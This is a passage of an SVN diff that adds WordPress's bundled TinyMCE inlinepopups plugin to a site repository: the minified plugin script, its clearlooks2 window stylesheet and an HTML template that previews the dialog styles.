+<body style="margin:0;overflow:hidden;width:100%;height:100%" scrolling="no" scroll="no">
+<form onsubmit="doParentSubmit();">
+<textarea id="fullscreenarea" style="width:100%; height:100%"></textarea>
+</form>
+
+<script type="text/javascript">
+	render();
+</script>
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){var d=tinymce.DOM,b=tinymce.dom.Element,a=tinymce.dom.Event,e=tinymce.each,c=tinymce.is;tinymce.create("tinymce.plugins.InlinePopups",{init:function(f,g){f.onBeforeRenderUI.add(function(){f.windowManager=new tinymce.InlineWindowManager(f);d.loadCSS(g+"/skins/"+(f.settings.inlinepopups_skin||"clearlooks2")+"/window.css")})},getInfo:function(){return{longname:"InlinePopups",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.create("tinymce.InlineWindowManager:tinymce.WindowManager",{InlineWindowManager:function(f){var g=this;g.parent(f);g.zIndex=300000;g.count=0;g.windows={}},open:function(r,j){var y=this,i,k="",q=y.editor,g=0,s=0,h,m,n,o,l,v,x;r=r||{};j=j||{};if(!r.inline){return y.parent(r,j)}if(!r.type){y.bookmark=q.selection.getBookmark("simple")}i=d.uniqueId();h=d.getViewPort();r.width=parseInt(r.width||320);r.height=parseInt(r.height||240)+(tinymce.isIE?8:0);r.min_width=parseInt(r.min_width||150);r.min_height=parseInt(r.min_height||100);r.max_width=parseInt(r.max_width||2000);r.max_height=parseInt(r.max_height||2000);r.left=r.left||Math.round(Math.max(h.x,h.x+(h.w/2)-(r.width/2)));r.top=r.top||Math.round(Math.max(h.y,h.y+(h.h/2)-(r.height/2)));r.movable=r.resizable=true;j.mce_width=r.width;j.mce_height=r.height;j.mce_inline=true;j.mce_window_id=i;j.mce_auto_focus=r.auto_focus;y.features=r;y.params=j;y.onOpen.dispatch(y,r,j);if(r.type){k+=" mceModal";if(r.type){k+=" mce"+r.type.substring(0,1).toUpperCase()+r.type.substring(1)}r.resizable=false}if(r.statusbar){k+=" mceStatusbar"}if(r.resizable){k+=" mceResizable"}if(r.minimizable){k+=" mceMinimizable"}if(r.maximizable){k+=" mceMaximizable"}if(r.movable){k+=" mceMovable"}y._addAll(d.doc.body,["div",{id:i,"class":q.settings.inlinepopups_skin||"clearlooks2",style:"width:100px;height:100px"},["div",{id:i+"_wrapper","class":"mceWrapper"+k},["div",{id:i+"_top","class":"mceTop"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_title"},r.title||""]],["div",{id:i+"_middle","class":"mceMiddle"},["div",{id:i+"_left","class":"mceLeft"}],["span",{id:i+"_content"}],["div",{id:i+"_right","class":"mceRight"}]],["div",{id:i+"_bottom","class":"mceBottom"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_status"},"Content"]],["a",{"class":"mceMove",tabindex:"-1",href:"javascript:;"}],["a",{"class":"mceMin",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMax",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMed",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceClose",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{id:i+"_resize_n","class":"mceResize mceResizeN",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_s","class":"mceResize mceResizeS",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_w","class":"mceResize mceResizeW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_e","class":"mceResize mceResizeE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_nw","class":"mceResize mceResizeNW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_ne","class":"mceResize mceResizeNE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_sw","class":"mceResize mceResizeSW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_se","class":"mceResize mceResizeSE",tabindex:"-1",href:"javascript:;"}]]]);d.setStyles(i,{top:-10000,left:-10000});if(tinymce.isGecko){d.setStyle(i,"overflow","auto")}if(!r.type){g+=d.get(i+"_left").clientWidth;g+=d.get(i+"_right").clientWidth;s+=d.get(i+"_top").clientHeight;s+=d.get(i+"_bottom").clientHeight}d.setStyles(i,{top:r.top,left:r.left,width:r.width+g,height:r.height+s});x=r.url||r.file;if(x){if(tinymce.relaxedDomain){x+=(x.indexOf("?")==-1?"?":"&")+"mce_rdomain="+tinymce.relaxedDomain}x=tinymce._addVer(x)}if(!r.type){d.add(i+"_content","iframe",{id:i+"_ifr",src:'javascript:""',frameBorder:0,style:"border:0;width:10px;height:10px"});d.setStyles(i+"_ifr",{width:r.width,height:r.height});d.setAttrib(i+"_ifr","src",x)}else{d.add(i+"_wrapper","a",{id:i+"_ok","class":"mceButton mceOk",href:"javascript:;",onmousedown:"return false;"},"Ok");if(r.type=="confirm"){d.add(i+"_wrapper","a",{"class":"mceButton mceCancel",href:"javascript:;",onmousedown:"return false;"},"Cancel")}d.add(i+"_middle","div",{"class":"mceIcon"});d.setHTML(i+"_content",r.content.replace("\n","<br />"))}n=a.add(i,"mousedown",function(t){var u=t.target,f,p;f=y.windows[i];y.focus(i);if(u.nodeName=="A"||u.nodeName=="a"){if(u.className=="mceMax"){f.oldPos=f.element.getXY();f.oldSize=f.element.getSize();p=d.getViewPort();p.w-=2;p.h-=2;f.element.moveTo(p.x,p.y);f.element.resizeTo(p.w,p.h);d.setStyles(i+"_ifr",{width:p.w-f.deltaWidth,height:p.h-f.deltaHeight});d.addClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMed"){f.element.moveTo(f.oldPos.x,f.oldPos.y);f.element.resizeTo(f.oldSize.w,f.oldSize.h);f.iframeElement.resizeTo(f.oldSize.w-f.deltaWidth,f.oldSize.h-f.deltaHeight);d.removeClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMove"){return y._startDrag(i,t,u.className)}else{if(d.hasClass(u,"mceResize")){return y._startDrag(i,t,u.className.substring(13))}}}}}});o=a.add(i,"click",function(f){var p=f.target;y.focus(i);if(p.nodeName=="A"||p.nodeName=="a"){switch(p.className){case"mceClose":y.close(null,i);return a.cancel(f);case"mceButton mceOk":case"mceButton mceCancel":r.button_func(p.className=="mceButton mceOk");return a.cancel(f)}}});v=y.windows[i]={id:i,mousedown_func:n,click_func:o,element:new b(i,{blocker:1,container:q.getContainer()}),iframeElement:new b(i+"_ifr"),features:r,deltaWidth:g,deltaHeight:s};v.iframeElement.on("focus",function(){y.focus(i)});if(y.count==0&&y.editor.getParam("dialog_type","modal")=="modal"){d.add(d.doc.body,"div",{id:"mceModalBlocker","class":(y.editor.settings.inlinepopups_skin||"clearlooks2")+"_modalBlocker",style:{zIndex:y.zIndex-1}});d.show("mceModalBlocker")}else{d.setStyle("mceModalBlocker","z-index",y.zIndex-1)}if(tinymce.isIE6||/Firefox\/2\./.test(navigator.userAgent)||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceModalBlocker",{position:"absolute",left:h.x,top:h.y,width:h.w-2,height:h.h-2})}y.focus(i);y._fixIELayout(i,1);if(d.get(i+"_ok")){d.get(i+"_ok").focus()}y.count++;return v},focus:function(h){var g=this,f;if(f=g.windows[h]){f.zIndex=this.zIndex++;f.element.setStyle("zIndex",f.zIndex);f.element.update();h=h+"_wrapper";d.removeClass(g.lastId,"mceFocus");d.addClass(h,"mceFocus");g.lastId=h}},_addAll:function(k,h){var g,l,f=this,j=tinymce.DOM;if(c(h,"string")){k.appendChild(j.doc.createTextNode(h))}else{if(h.length){k=k.appendChild(j.create(h[0],h[1]));for(g=2;g<h.length;g++){f._addAll(k,h[g])}}}},_startDrag:function(v,G,E){var o=this,u,z,C=d.doc,f,l=o.windows[v],h=l.element,y=h.getXY(),x,q,F,g,A,s,r,j,i,m,k,n,B;g={x:0,y:0};A=d.getViewPort();A.w-=2;A.h-=2;j=G.screenX;i=G.screenY;m=k=n=B=0;u=a.add(C,"mouseup",function(p){a.remove(C,"mouseup",u);a.remove(C,"mousemove",z);if(f){f.remove()}h.moveBy(m,k);h.resizeBy(n,B);q=h.getSize();d.setStyles(v+"_ifr",{width:q.w-l.deltaWidth,height:q.h-l.deltaHeight});o._fixIELayout(v,1);return a.cancel(p)});if(E!="Move"){D()}function D(){if(f){return}o._fixIELayout(v,0);d.add(C.body,"div",{id:"mceEventBlocker","class":"mceEventBlocker "+(o.editor.settings.inlinepopups_skin||"clearlooks2"),style:{zIndex:o.zIndex+1}});if(tinymce.isIE6||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceEventBlocker",{position:"absolute",left:A.x,top:A.y,width:A.w-2,height:A.h-2})}f=new b("mceEventBlocker");f.update();x=h.getXY();q=h.getSize();s=g.x+x.x-A.x;r=g.y+x.y-A.y;d.add(f.get(),"div",{id:"mcePlaceHolder","class":"mcePlaceHolder",style:{left:s,top:r,width:q.w,height:q.h}});F=new b("mcePlaceHolder")}z=a.add(C,"mousemove",function(w){var p,H,t;D();p=w.screenX-j;H=w.screenY-i;switch(E){case"ResizeW":m=p;n=0-p;break;case"ResizeE":n=p;break;case"ResizeN":case"ResizeNW":case"ResizeNE":if(E=="ResizeNW"){m=p;n=0-p}else{if(E=="ResizeNE"){n=p}}k=H;B=0-H;break;case"ResizeS":case"ResizeSW":case"ResizeSE":if(E=="ResizeSW"){m=p;n=0-p}else{if(E=="ResizeSE"){n=p}}B=H;break;case"mceMove":m=p;k=H;break}if(n<(t=l.features.min_width-q.w)){if(m!==0){m+=n-t}n=t}if(B<(t=l.features.min_height-q.h)){if(k!==0){k+=B-t}B=t}n=Math.min(n,l.features.max_width-q.w);B=Math.min(B,l.features.max_height-q.h);m=Math.max(m,A.x-(s+A.x));k=Math.max(k,A.y-(r+A.y));m=Math.min(m,(A.w+A.x)-(s+q.w+A.x));k=Math.min(k,(A.h+A.y)-(r+q.h+A.y));if(m+k!==0){if(s+m<0){m=0}if(r+k<0){k=0}F.moveTo(s+m,r+k)}if(n+B!==0){F.resizeTo(q.w+n,q.h+B)}return a.cancel(w)});return a.cancel(G)},resizeBy:function(g,h,i){var f=this.windows[i];if(f){f.element.resizeBy(g,h);f.iframeElement.resizeBy(g,h)}},close:function(j,l){var h=this,g,k=d.doc,f=0,i,l;l=h._findId(l||j);if(!h.windows[l]){h.parent(j);return}h.count--;if(h.count==0){d.remove("mceModalBlocker")}if(g=h.windows[l]){h.onClose.dispatch(h);a.remove(k,"mousedown",g.mousedownFunc);a.remove(k,"click",g.clickFunc);a.clear(l);a.clear(l+"_ifr");d.setAttrib(l+"_ifr","src",'javascript:""');g.element.remove();delete h.windows[l];e(h.windows,function(m){if(m.zIndex>f){i=m;f=m.zIndex}});if(i){h.focus(i.id)}}},setTitle:function(f,g){var h;f=this._findId(f);if(h=d.get(f+"_title")){h.innerHTML=d.encode(g)}},alert:function(g,f,j){var i=this,h;h=i.open({title:i,type:"alert",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},confirm:function(g,f,j){var i=this,h;h=i.open({title:i,type:"confirm",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},_findId:function(f){var g=this;if(typeof(f)=="string"){return f}e(g.windows,function(h){var i=d.get(h.id+"_ifr");if(i&&f==i.contentWindow){f=h.id;return false}});return f},_fixIELayout:function(i,h){var f,g;if(!tinymce.isIE6){return}e(["n","s","w","e","nw","ne","sw","se"],function(j){var k=d.get(i+"_resize_"+j);d.setStyles(k,{width:h?k.clientWidth:"",height:h?k.clientHeight:"",cursor:d.getStyle(k,"cursor",1)});d.setStyle(i+"_bottom","bottom","-1px");k=0});if(f=this.windows[i]){f.element.hide();f.element.show();e(d.select("div,a",i),function(k,j){if(k.currentStyle.backgroundImage!="none"){g=new Image();g.src=k.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/,"$1")}});d.get(i).style.filter=""}}});tinymce.PluginManager.add("inlinepopups",tinymce.plugins.InlinePopups)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css	(revision 44)
@@ -0,0 +1,125 @@
+/* Clearlooks 2 */
+/* Reset */
+.clearlooks2, .clearlooks2 div, .clearlooks2 span, .clearlooks2 a {vertical-align:baseline; text-align:left; position:absolute; border:0; padding:0; margin:0; background:transparent; font-family:Arial,Verdana; font-size:11px; color:#000; text-decoration:none; font-weight:normal; width:auto; height:auto; overflow:hidden; display:block;}
+
+/* General */
+.clearlooks2 {position:absolute; direction:ltr}
+.clearlooks2 .mceWrapper {position:static}
+.mceEventBlocker {position:fixed; left:0; top:0; background:url(img/horizontal.gif) no-repeat 0 -75px; width:100%; height:100%}
+.clearlooks2 .mcePlaceHolder {border:1px solid #000; background:#888; top:0; left:0; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50)}
+.clearlooks2_modalBlocker {position:fixed; left:0; top:0; width:100%; height:100%; background:#FFF; opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60); display:none}
+
+/* Top */
+.clearlooks2 .mceTop, 
+.clearlooks2 .mceTop div {
+	top:0; 
+	width:100%; 
+	height:23px
+}
+.clearlooks2 .mceTop .mceLeft {
+	width:55%; 
+	background-image: none;
+	border-style: solid none none solid;
+	border-width: 1px;
+}
+.clearlooks2 .mceTop .mceCenter {
+}
+.clearlooks2 .mceTop .mceRight {
+	right:0; 
+	width:55%; 
+	height:23px; 
+	background-image: none;
+	border-style: solid solid none none;
+	border-width: 1px;
+}
+.clearlooks2 .mceTop span {
+	width:100%;
+	font: 12px/20px bold "Lucida Grande","Lucida Sans Unicode",Tahoma,Verdana,sans-serif;
+	text-align:center; 
+	vertical-align:middle; 
+	line-height:23px; 
+	font-weight:bold;
+}
+.clearlooks2 .mceFocus .mceTop .mceLeft {
+	background-image: none;
+	border-style: solid none none solid;
+	border-width: 1px;
+}
+.clearlooks2 .mceFocus .mceTop .mceCenter {
+}
+.clearlooks2 .mceFocus .mceTop .mceRight {
+	background-image: none;
+	border-style: solid solid none none;
+	border-width: 1px;
+}
+.clearlooks2 .mceFocus .mceTop span {
+color:#FFF
+}
+
+/* Middle */
+.clearlooks2 .mceMiddle, .clearlooks2 .mceMiddle div {top:0}
+.clearlooks2 .mceMiddle {width:100%; height:100%; clip:rect(23px auto auto auto)}
+.clearlooks2 .mceMiddle .mceLeft {left:0; width:5px; height:100%; background:#E4F2FD;border-left:1px solid #c6d9e9}
+.clearlooks2 .mceMiddle span {top:23px; left:5px; width:100%; height:100%; background:#FFF}
+.clearlooks2 .mceMiddle .mceRight {right:0; width:5px; height:100%; background:#E4F2FD;border-right:1px solid #c6d9e9}
+
+/* Bottom */
+.clearlooks2 .mceBottom, .clearlooks2 .mceBottom div {height:6px}
+.clearlooks2 .mceBottom {left:0; bottom:0; width:100%;background:#E4F2FD;border-bottom:1px solid #c6d9e9}
+.clearlooks2 .mceBottom div {top:0}
+.clearlooks2 .mceBottom .mceLeft {left:0; width:5px; background:#E4F2FD  ;border-left:1px solid #c6d9e9}
+.clearlooks2 .mceBottom .mceCenter {left:5px; width:100%}
+.clearlooks2 .mceBottom .mceRight {right:0; width:6px; background:#E4F2FD url(img/drag.gif) no-repeat;border-right:1px solid #c6d9e9}
+.clearlooks2 .mceBottom span {display:none}
+.clearlooks2 .mceStatusbar .mceBottom, .clearlooks2 .mceStatusbar .mceBottom div {height:23px}
+.clearlooks2 .mceStatusbar .mceBottom .mceLeft {background:url(img/corners.gif) -29px 0}
+.clearlooks2 .mceStatusbar .mceBottom .mceCenter {background:url(img/horizontal.gif) 0 -52px}
+.clearlooks2 .mceStatusbar .mceBottom .mceRight {background:url(img/corners.gif) -24px 0}
+.clearlooks2 .mceStatusbar .mceBottom span {display:block; left:7px; font-family:Arial, Verdana; font-size:11px; line-height:23px}
+
+/* Actions */
+.clearlooks2 a {width:29px; height:16px; top:3px}
+.clearlooks2 .mceClose {right:6px; background:url(img/buttons.gif) -87px 0}
+.clearlooks2 .mceMin {display:none; right:68px; background:url(img/buttons.gif) 0 0}
+.clearlooks2 .mceMed {display:none; right:37px; background:url(img/buttons.gif) -29px 0}
+.clearlooks2 .mceMax {display:none; right:37px; background:url(img/buttons.gif) -58px 0}
+.clearlooks2 .mceMove {display:none;width:100%;cursor:move;background:url(img/corners.gif) no-repeat -100px -100px}
+.clearlooks2 .mceMovable .mceMove {display:block}
+.clearlooks2 .mceFocus .mceClose {right:6px; background:url(img/buttons.gif) -87px -16px}
+.clearlooks2 .mceFocus .mceMin {right:68px; background:url(img/buttons.gif) 0 -16px}
+.clearlooks2 .mceFocus .mceMed {right:37px; background:url(img/buttons.gif) -29px -16px}
+.clearlooks2 .mceFocus .mceMax {right:37px; background:url(img/buttons.gif) -58px -16px}
+.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px}
+.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px}
+.clearlooks2 .mceFocus .mceMin:hover {right:68px; background:url(img/buttons.gif) 0 -32px}
+.clearlooks2 .mceFocus .mceMed:hover {right:37px; background:url(img/buttons.gif) -29px -32px}
+.clearlooks2 .mceFocus .mceMax:hover {right:37px; background:url(img/buttons.gif) -58px -32px}
+
+/* Resize */
+.clearlooks2 .mceResize {top:auto; left:auto; display:none; width:5px; height:5px; background:url(img/horizontal.gif) no-repeat 0 -75px}
+.clearlooks2 .mceResizable .mceResize {display:block}
+.clearlooks2 .mceResizable .mceMin, .clearlooks2 .mceMax {display:none}
+.clearlooks2 .mceMinimizable .mceMin {display:block}
+.clearlooks2 .mceMaximizable .mceMax {display:block}
+.clearlooks2 .mceMaximized .mceMed {display:block}
+.clearlooks2 .mceMaximized .mceMax {display:none}
+.clearlooks2 a.mceResizeN {top:0; left:0; width:100%; cursor:n-resize}
+.clearlooks2 a.mceResizeNW {top:0; left:0; cursor:nw-resize}
+.clearlooks2 a.mceResizeNE {top:0; right:0; cursor:ne-resize}
+.clearlooks2 a.mceResizeW {top:0; left:0; height:100%; cursor:w-resize}
+.clearlooks2 a.mceResizeE {top:0; right:0; height:100%; cursor:e-resize}
+.clearlooks2 a.mceResizeS {bottom:0; left:0; width:100%; cursor:s-resize}
+.clearlooks2 a.mceResizeSW {bottom:0; left:0; cursor:sw-resize}
+.clearlooks2 a.mceResizeSE {bottom:0; right:0; cursor:se-resize}
+
+/* Alert/Confirm */
+.clearlooks2 .mceButton {font-weight:bold; bottom:10px; width:80px; height:30px; background:url(img/button.gif); line-height:30px; vertical-align:middle; text-align:center; outline:0}
+.clearlooks2 .mceMiddle .mceIcon {left:15px; top:35px; width:32px; height:32px}
+.clearlooks2 .mceAlert .mceMiddle span, .clearlooks2 .mceConfirm .mceMiddle span {background:transparent;left:60px; top:35px; width:320px; height:50px; font-weight:bold; overflow:auto; white-space:normal}
+.clearlooks2 a:hover {font-weight:bold}
+.clearlooks2 .mceAlert .mceMiddle, .clearlooks2 .mceConfirm .mceMiddle {background:#E4F2FD}
+.clearlooks2 .mceAlert .mceOk {left:50%; top:auto; margin-left: -40px}
+.clearlooks2 .mceAlert .mceIcon {background:url(img/alert.gif)}
+.clearlooks2 .mceConfirm .mceOk {left:50%; top:auto; margin-left: -90px}
+.clearlooks2 .mceConfirm .mceCancel {left:50%; top:auto}
+.clearlooks2 .mceConfirm .mceIcon {background:url(img/confirm.gif)}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/template.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/template.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/inlinepopups/template.htm	(revision 44)
@@ -0,0 +1,387 @@
+<!-- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>Template for dialogs</title>
+<link rel="stylesheet" type="text/css" href="skins/clearlooks2/window.css?ver=3241-1141" />
+</head>
+<body>
+
+<div class="mceEditor">
+	<div class="clearlooks2" style="width:400px; height:100px; left:10px;">
+		<div class="mceWrapper">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Blured</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>Content</span>
+				<div class="mceRight"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar text.</span>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceMin" href="#"></a>
+			<a class="mceMax" href="#"></a>
+			<a class="mceMed" href="#"></a>
+			<a class="mceClose" href="#"></a>
+			<a class="mceResize mceResizeN" href="#"></a>
+			<a class="mceResize mceResizeS" href="#"></a>
+			<a class="mceResize mceResizeW" href="#"></a>
+			<a class="mceResize mceResizeE" href="#"></a>
+			<a class="mceResize mceResizeNW" href="#"></a>
+			<a class="mceResize mceResizeNE" href="#"></a>
+			<a class="mceResize mceResizeSW" href="#"></a>
+			<a class="mceResize mceResizeSE" href="#"></a>
+		</div>
+	</div>
+
+	<div class="clearlooks2" style="width:400px; height:100px; left:420px;">
+		<div class="mceWrapper mceMovable mceFocus">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Focused</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>Content</span>
+				<div class="mceRight"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar text.</span>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceMin" href="#"></a>
+			<a class="mceMax" href="#"></a>
+			<a class="mceMed" href="#"></a>
+			<a class="mceClose" href="#"></a>
+			<a class="mceResize mceResizeN" href="#"></a>
+			<a class="mceResize mceResizeS" href="#"></a>
+			<a class="mceResize mceResizeW" href="#"></a>
+			<a class="mceResize mceResizeE" href="#"></a>
+			<a class="mceResize mceResizeNW" href="#"></a>
+			<a class="mceResize mceResizeNE" href="#"></a>
+			<a class="mceResize mceResizeSW" href="#"></a>
+			<a class="mceResize mceResizeSE" href="#"></a>
+		</div>
+	</div>
+
+	<div class="clearlooks2" style="width:400px; height:100px; left:10px; top:120px;">
+		<div class="mceWrapper mceMovable mceFocus mceStatusbar">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>Content</span>
+				<div class="mceRight"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar text.</span>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceMin" href="#"></a>
+			<a class="mceMax" href="#"></a>
+			<a class="mceMed" href="#"></a>
+			<a class="mceClose" href="#"></a>
+			<a class="mceResize mceResizeN" href="#"></a>
+			<a class="mceResize mceResizeS" href="#"></a>
+			<a class="mceResize mceResizeW" href="#"></a>
+			<a class="mceResize mceResizeE" href="#"></a>
+			<a class="mceResize mceResizeNW" href="#"></a>
+			<a class="mceResize mceResizeNE" href="#"></a>
+			<a class="mceResize mceResizeSW" href="#"></a>
+			<a class="mceResize mceResizeSE" href="#"></a>
+		</div>
+	</div>
+
+	<div class="clearlooks2" style="width:400px; height:100px; left:420px; top:120px;">
+		<div class="mceWrapper mceMovable mceFocus mceStatusbar mceResizable">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar, Resizable</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>Content</span>
+				<div class="mceRight"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar text.</span>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceMin" href="#"></a>
+			<a class="mceMax" href="#"></a>
+			<a class="mceMed" href="#"></a>
+			<a class="mceClose" href="#"></a>
+			<a class="mceResize mceResizeN" href="#"></a>
+			<a class="mceResize mceResizeS" href="#"></a>
+			<a class="mceResize mceResizeW" href="#"></a>
+			<a class="mceResize mceResizeE" href="#"></a>
+			<a class="mceResize mceResizeNW" href="#"></a>
+			<a class="mceResize mceResizeNE" href="#"></a>
+			<a class="mceResize mceResizeSW" href="#"></a>
+			<a class="mceResize mceResizeSE" href="#"></a>
+		</div>
+	</div>
+
+	<div class="clearlooks2" style="width:400px; height:100px; left:10px; top:230px;">
+		<div class="mceWrapper mceMovable mceFocus mceResizable mceMaximizable">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Resizable, Maximizable</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>Content</span>
+				<div class="mceRight"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar text.</span>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceMin" href="#"></a>
+			<a class="mceMax" href="#"></a>
+			<a class="mceMed" href="#"></a>
+			<a class="mceClose" href="#"></a>
+			<a class="mceResize mceResizeN" href="#"></a>
+			<a class="mceResize mceResizeS" href="#"></a>
+			<a class="mceResize mceResizeW" href="#"></a>
+			<a class="mceResize mceResizeE" href="#"></a>
+			<a class="mceResize mceResizeNW" href="#"></a>
+			<a class="mceResize mceResizeNE" href="#"></a>
+			<a class="mceResize mceResizeSW" href="#"></a>
+			<a class="mceResize mceResizeSE" href="#"></a>
+		</div>
+	</div>
+
+	<div class="clearlooks2" style="width:400px; height:100px; left:420px; top:230px;">
+		<div class="mceWrapper mceMovable mceStatusbar mceResizable mceMaximizable">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Blurred, Maximizable, Statusbar, Resizable</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>Content</span>
+				<div class="mceRight"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar text.</span>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceMin" href="#"></a>
+			<a class="mceMax" href="#"></a>
+			<a class="mceMed" href="#"></a>
+			<a class="mceClose" href="#"></a>
+			<a class="mceResize mceResizeN" href="#"></a>
+			<a class="mceResize mceResizeS" href="#"></a>
+			<a class="mceResize mceResizeW" href="#"></a>
+			<a class="mceResize mceResizeE" href="#"></a>
+			<a class="mceResize mceResizeNW" href="#"></a>
+			<a class="mceResize mceResizeNE" href="#"></a>
+			<a class="mceResize mceResizeSW" href="#"></a>
+			<a class="mceResize mceResizeSE" href="#"></a>
+		</div>
+	</div>
+
+	<div class="clearlooks2" style="width:400px; height:100px; left:10px; top:340px;">
+		<div class="mceWrapper mceMovable mceFocus mceResizable mceMaximized mceMinimizable mceMaximizable">
+			<div class="mceTop">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Maximized, Maximizable, Minimizable</span>
+			</div>
+
+			<div class="mceMiddle">
+				<div class="mceLeft"></div>
+				<span>Content</span>
+				<div class="mceRight"></div>
+			</div>
+
+			<div class="mceBottom">
+				<div class="mceLeft"></div>
+				<div class="mceCenter"></div>
+				<div class="mceRight"></div>
+				<span>Statusbar text.</span>
+			</div>
+
+			<a class="mceMove" href="#"></a>
+			<a class="mceMin" href="#"></a>
+			<a class="mceMax" href="#"></a>
+			<a class="mceMed" href="#"></a>
+			<a class="mceClose" href="#"></a>
+			<a class="mceResize mceResizeN" href="#"></a>
+			<a class="mceResize mceResizeS" href="#"></a>
+			<a class="mceResize mceResizeW" href="#"></a>
+			<a class="mceResize mceResizeE" href="#"></a>
+			<a class="mceResize mceResizeNW" href="#"></a>
+			<a class="mceResize mceResizeNE" href="#"></a>
+			<a class="mceResize mceResizeSW" href="#"></a>
+			<a class="mceResize mceResizeSE" href="#"></a>
+		</div>
+	</div>
+
